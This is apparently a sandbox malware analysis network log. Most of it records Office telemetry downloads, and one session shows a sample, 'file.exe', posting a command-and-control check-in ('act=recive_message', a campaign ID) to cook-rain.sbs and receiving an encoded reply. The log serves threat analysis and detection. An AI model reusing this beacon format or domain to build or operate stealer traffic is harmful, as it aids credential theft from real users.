2024-11-20 00:18:25 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjchdf4me1jdnf6nubtniknrq8; expires=Sat, 15-Mar-2025 18:05:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3y2lMG6mt2PgLFg3WXEmPajTrlA4FJVwoYrTwjl3tCvMdBL0%2BxBkUNoK1afZ%2BInb1irSoI1K13JTt2rCSo9q9zb%2Blh%2FmATXj%2F8YvvmzDviQhsoIHfWDIh5Ln0aCd9SYy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54433cce60c484-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3004&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1252681&cwnd=247&unsent_bytes=0&cid=89fe6bcb61b7f211&ts=498&x=0"
2024-11-20 00:18:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-20 00:18:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:25 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:25 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:25 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001825Z-185f5d8b95cdcwrthC1NYCy5b800000009a000000000wdx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:25 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 00:18:25 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	188.114.96.3	443	4164	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:26 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-20 00:18:26 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-20 00:18:26 UTC	980	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=19qml9hsiri8t3hn2rh16eupi4; expires=Sat, 15-Mar-2025 18:05:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Vv56M5i6mv9b016lGK8y109Qil2DSlHK%2FW25aD8AdmY6ph338Yv8EST61JxbYqg2mjfioPS%2BKsBSH96IwJL0u24n4FW%2FoBbxEen3Zs3GZtJq5HYAcM30wRh7pkEOYFW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54434349edde9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1912246&cwnd=144&unsent_bytes=0&cid=25a5f94420bf662c&ts=430&x=0"
2024-11-20 00:18:26 UTC	389	IN	Data Raw: 34 34 36 63 0d 0a 52 78 57 34 69 59 37 63 50 52 46 73 50 42 4e 4d 41 74 30 64 53 2b 70 31 47 69 6b 4c 62 6a 72 65 46 6b 33 64 54 32 2f 50 76 6d 59 38 4e 38 36 72 74 4f 67 52 4d 78 39 5a 4d 58 5a 32 72 32 67 75 78 6c 64 37 54 53 6c 55 58 4c 39 36 50 72 68 6a 54 62 6e 54 52 48 31 7a 32 65 58 39 75 52 45 7a 43 55 51 78 64 6c 6d 6d 50 79 36 45 56 79 41 4c 62 67 52 59 76 33 6f 76 76 43 51 41 76 39 49 46 4c 33 6e 66 34 65 75 2f 57 58 41 41 55 58 59 70 5a 37 78 33 4a 59 4d 59 63 6b 51 70 51 68 69 37 62 47 2f 6e 62 53 4b 71 79 67 63 4b 64 4d 76 69 72 4b 45 52 61 6b 35 5a 66 57 34 34 2f 33 77 75 69 42 6c 38 54 57 41 47 55 72 5a 79 4c 72 6b 6c 48 36 62 59 44 69 39 33 33 4f 44 68 74 6b 31 39 43 6c 5a 39 4c 32 32 38 50 32 66 49 45 47 41 4c 4d 55 77 4c 6a 6e 63 2b 72 Data Ascii: 446cRxW4iY7cPRFsPBNMAt0dS+p1GikLbjreFk3dT2/PvmY8N86rtOgRMx9ZMXZ2r2guxld7TSlUXL96PrhjTbnTRH1z2eX9uREzCUQxdlmmPy6EVyALbgRYv3ovvCQAv9IFL3nf4eu/WXAAUXYpZ7x3JYMYckQpQhi7bG/nbSKqygcKdMvirKERak5ZfW44/3wuiBl8TWAGUrZyLrklH6bYDi933ODhtk19ClZ9L228P2fIEGALMUwLjnc+r
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 43 4a 58 65 61 70 61 79 35 52 7a 4e 57 48 6c 49 72 63 4c 68 7a 50 38 6f 74 4f 46 51 6e 46 52 69 37 65 47 2f 6e 62 51 57 6f 33 77 63 75 65 4e 6e 6a 35 36 78 66 59 51 68 54 64 44 78 6d 75 6e 45 6a 69 77 56 79 52 57 38 50 55 62 64 39 4b 72 67 70 54 65 4f 63 41 7a 30 33 67 71 76 4e 73 31 52 2f 42 45 6c 78 62 6e 2f 78 5a 6d 6d 50 47 7a 67 54 4b 51 68 5a 75 48 55 72 73 53 4d 4a 6f 64 6f 4b 4b 48 6a 63 34 65 79 35 56 58 73 47 58 33 77 6c 62 37 39 36 4a 49 77 52 64 45 70 73 54 42 62 38 63 7a 66 2f 64 55 32 44 32 77 63 33 4e 65 2f 6f 34 72 42 59 5a 55 35 42 50 7a 63 67 75 48 4e 70 30 46 64 32 54 6d 59 65 57 61 35 78 49 61 30 68 43 4b 76 52 42 79 74 33 33 2b 7a 68 73 46 6c 30 44 56 5a 31 4c 32 36 7a 64 53 71 4d 46 44 67 46 4b 51 74 41 2f 43 78 76 6a 69 34 4a 71 73 Data Ascii: CJXeapay5RzNWHlIrcLhzP8otOFQnFRi7eG/nbQWo3wcueNnj56xfYQhTdDxmunEjiwVyRW8PUbd9KrgpTeOcAz03gqvNs1R/BElxbn/xZmmPGzgTKQhZuHUrsSMJodoKKHjc4ey5VXsGX3wlb796JIwRdEpsTBb8czf/dU2D2wc3Ne/o4rBYZU5BPzcguHNp0Fd2TmYeWa5xIa0hCKvRByt33+zhsFl0DVZ1L26zdSqMFDgFKQtA/Cxvji4Jqs
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 31 4f 7a 6f 73 6c 5a 2b 43 46 35 32 4b 6d 57 74 65 69 43 45 47 7a 67 46 4b 51 74 41 2f 43 78 76 6b 43 6f 62 72 76 4d 48 4e 48 36 61 39 4b 4b 6e 48 33 51 43 48 69 6c 75 5a 37 70 33 49 6f 34 66 65 46 6c 73 41 6c 4f 39 66 69 6d 2b 49 41 47 72 33 41 55 6c 63 64 62 72 36 37 6c 4e 59 51 74 59 59 79 51 67 38 54 38 75 6b 46 63 67 43 31 38 63 54 36 31 69 62 59 6f 75 41 36 50 62 45 6d 56 6f 6c 50 4b 73 75 56 4d 7a 56 68 35 36 4c 6d 79 34 64 79 2b 4d 48 33 64 45 59 42 35 5a 73 48 6f 39 75 43 30 45 6f 39 4d 49 4c 48 72 64 35 75 65 30 55 6e 63 4a 58 7a 46 67 49 4c 68 6e 61 64 42 58 54 6c 74 6b 41 48 61 33 65 43 62 2f 4d 6b 4f 30 6e 41 4d 70 4e 34 4b 72 36 4c 4a 58 65 51 46 58 65 79 52 76 74 6e 38 68 67 52 35 37 53 32 55 4b 57 62 42 34 49 72 6f 75 43 4b 44 5a 42 43 6c Data Ascii: 1OzoslZ+CF52KmWteiCEGzgFKQtA/CxvkCobrvMHNH6a9KKnH3QCHiluZ7p3Io4feFlsAlO9fim+IAGr3AUlcdbr67lNYQtYYyQg8T8ukFcgC18cT61ibYouA6PbEmVolPKsuVMzVh56Lmy4dy+MH3dEYB5ZsHo9uC0Eo9MILHrd5ue0UncJXzFgILhnadBXTltkAHa3eCb/MkO0nAMpN4Kr6LJXeQFXeyRvtn8hgR57S2UKWbB4IrouCKDZBCl
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 37 49 66 4b 30 35 53 63 69 4a 6f 73 48 6b 67 68 42 31 78 51 47 55 48 58 4c 42 39 4b 72 6b 73 43 4b 6a 64 41 43 6c 39 33 4f 6a 76 73 56 42 38 42 68 34 2f 62 6d 65 6e 50 33 48 49 4d 6d 39 41 5a 77 6f 59 6f 7a 6f 32 2f 79 6f 42 37 59 52 45 4b 58 37 63 37 65 6d 79 58 6e 55 47 57 33 6b 71 59 62 6c 35 4b 6f 63 54 66 55 70 6d 43 46 53 79 66 69 36 2b 49 51 61 69 31 77 46 6c 4f 5a 72 73 39 50 34 48 4d 7a 39 64 5a 7a 6c 77 73 7a 38 32 78 67 34 34 54 47 56 4d 41 50 78 31 50 62 55 6e 41 36 6a 54 41 53 5a 34 33 65 62 71 73 6c 56 36 42 6c 68 2b 4a 33 4b 38 63 79 65 50 47 58 52 46 5a 41 5a 62 73 54 52 68 2f 79 6f 56 37 59 52 45 43 58 44 58 78 65 65 79 57 44 4d 52 45 47 68 75 5a 37 4d 2f 63 63 67 62 63 6b 64 67 44 46 47 35 66 43 53 32 4b 41 79 6d 32 51 63 6a 65 74 58 69 Data Ascii: 7IfK05SciJosHkghB1xQGUHXLB9KrksCKjdACl93OjvsVB8Bh4/bmenP3HIMm9AZwoYozo2/yoB7YREKX7c7emyXnUGW3kqYbl5KocTfUpmCFSyfi6+IQai1wFlOZrs9P4HMz9dZzlwsz82xg44TGVMAPx1PbUnA6jTASZ43ebqslV6Blh+J3K8cyePGXRFZAZbsTRh/yoV7YRECXDXxeeyWDMREGhuZ7M/ccgbckdgDFG5fCS2KAym2QcjetXi
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 4e 57 48 6e 63 68 61 62 78 77 4b 49 45 62 64 55 35 67 43 56 6d 36 63 43 57 31 4c 51 75 72 33 51 45 76 64 4e 76 68 35 62 6c 58 64 41 31 4d 4d 57 41 67 75 47 64 70 30 46 64 52 54 48 73 43 53 50 78 72 59 61 5a 74 43 71 47 63 58 47 56 7a 30 4f 54 6f 75 56 4e 31 43 31 68 38 4c 32 2b 2b 66 79 61 4d 48 48 46 4e 61 41 46 64 73 58 41 39 74 53 59 43 6f 64 55 49 4b 44 65 55 71 2b 75 6d 48 79 74 4f 62 33 77 67 62 72 68 70 61 5a 64 5a 59 51 74 75 41 42 6a 6b 4e 43 36 7a 49 67 36 69 33 77 63 6b 66 63 6a 35 34 4c 64 58 64 67 4a 56 66 79 68 79 75 58 41 67 69 78 52 78 54 47 45 41 55 72 39 7a 62 2f 46 74 43 72 57 63 58 47 56 55 7a 66 76 68 2f 6b 41 39 46 78 35 32 49 69 44 6e 50 79 47 46 48 33 4a 50 62 67 46 66 75 6e 30 39 74 69 67 44 72 64 67 50 4b 6e 48 65 36 4f 79 73 57 Data Ascii: NWHnchabxwKIEbdU5gCVm6cCW1LQur3QEvdNvh5blXdA1MMWAguGdp0FdRTHsCSPxrYaZtCqGcXGVz0OTouVN1C1h8L2++fyaMHHFNaAFdsXA9tSYCodUIKDeUq+umHytOb3wgbrhpaZdZYQtuABjkNC6zIg6i3wckfcj54LdXdgJVfyhyuXAgixRxTGEAUr9zb/FtCrWcXGVUzfvh/kA9Fx52IiDnPyGFH3JPbgFfun09tigDrdgPKnHe6OysW
2024-11-20 00:18:26 UTC	1369	IN	Data Raw: 78 59 43 43 34 5a 32 6e 51 56 31 6c 51 61 67 42 56 2f 47 74 68 70 6d 30 4b 6f 5a 78 63 5a 58 76 55 37 75 79 30 57 58 63 4c 57 48 73 72 59 4c 52 38 4a 6f 77 52 66 45 52 70 42 31 47 39 63 69 71 31 4a 67 75 67 33 77 49 6a 4e 35 53 72 36 36 59 66 4b 30 35 2b 61 69 4e 73 75 44 38 32 78 67 34 34 54 47 56 4d 41 50 78 2f 49 37 73 71 44 61 44 66 44 43 42 7a 30 4f 37 73 74 6b 31 37 44 6c 6c 6a 50 47 43 32 65 69 57 4c 46 33 78 4e 59 41 70 62 75 44 52 68 2f 79 6f 56 37 59 52 45 43 48 76 64 77 75 75 6c 48 32 78 41 52 7a 45 70 62 50 38 6e 61 59 6b 63 63 6b 52 6b 44 31 36 2f 66 79 71 31 4c 41 71 6c 30 52 59 6d 65 4e 58 76 37 4c 46 5a 64 51 39 52 64 79 6c 70 76 6e 63 75 79 46 6b 34 54 48 46 4d 41 50 78 61 4b 4c 77 70 54 62 4b 53 48 57 56 77 31 71 75 30 2f 6c 39 35 42 46 Data Ascii: xYCC4Z2nQV1lQagBV/Gthpm0KoZxcZXvU7uy0WXcLWHsrYLR8JowRfERpB1G9ciq1Jgug3wIjN5Sr66YfK05+aiNsuD82xg44TGVMAPx/I7sqDaDfDCBz0O7stk17DlljPGC2eiWLF3xNYApbuDRh/yoV7YRECHvdwuulH2xARzEpbP8naYkcckRkD16/fyq1LAql0RYmeNXv7LFZdQ9RdylpvncuyFk4THFMAPxaKLwpTbKSHWVw1qu0/l95BF
